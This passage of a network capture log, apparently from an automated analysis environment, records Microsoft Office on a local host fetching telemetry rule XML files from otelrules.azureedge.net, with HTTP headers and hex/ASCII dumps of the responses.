2024-12-07 21:40:56 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.6	49835	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:55 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:40:56 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:55 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 3fcff9c6-e01e-0052-0a03-48d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214055Z-r1cf579d778dc6d7hC1EWR2vs8000000048g000000000s1s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:40:56 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.6	49836	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:55 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:40:56 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:55 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 49b561ed-d01e-0065-2706-48b77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214055Z-r1cf579d77898tqwhC1EWRf9q800000003mg00000000275p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:40:56 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.6	49837	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:55 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:40:56 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:55 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 44286e75-701e-0032-5705-48a540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214055Z-r1cf579d778t5c2lhC1EWRce3w000000042g000000007tkv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:40:56 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.6	49838	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:56 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:40:57 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:57 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 32ce5259-b01e-003e-4804-488e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214057Z-r1cf579d778d5zkmhC1EWRk6h800000003z0000000003rt0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:40:57 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.6	49839	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:58 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:40:58 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:58 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 1ccbfaf0-201e-0003-3306-48f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214058Z-r1cf579d778x776bhC1EWRdk8000000003cg000000008bd0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:40:58 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.6	49842	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:58 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:40:58 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:58 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 1ec3a3fb-701e-0001-7303-48b110000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214058Z-r1cf579d7789trgthC1EWRkkfc000000046000000000406b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:40:58 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.6	49840	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:58 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:40:58 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:58 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 83446ce3-101e-0046-0a10-4891b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214058Z-r1cf579d778dc6d7hC1EWR2vs80000000430000000007479 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:40:58 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.6	49841	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:58 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:40:58 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:58 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 8eb9891a-501e-005b-7103-48d7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214058Z-r1cf579d778g2t6ghC1EWRfggs00000002u0000000008cuh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:40:58 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.6	49843	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:59 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:40:59 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:59 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: fc2f82a1-a01e-006f-4f06-4813cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214059Z-r1cf579d778dndrdhC1EWR4b24000000037g000000001cc4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:40:59 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.6	49846	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:41:00 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:41:00 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:41:00 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 42c4dea6-f01e-0099-6c03-489171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214100Z-r1cf579d7782ctslhC1EWRfbrw00000003x00000000065ya x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:41:00 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.6	49845	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:41:00 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:41:00 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:41:00 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: e2bfbc9d-f01e-0085-0f03-4888ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214100Z-r1cf579d778qlpkrhC1EWRpfc8000000045g0000000045xk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:41:00 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.6	49847	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:41:00 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
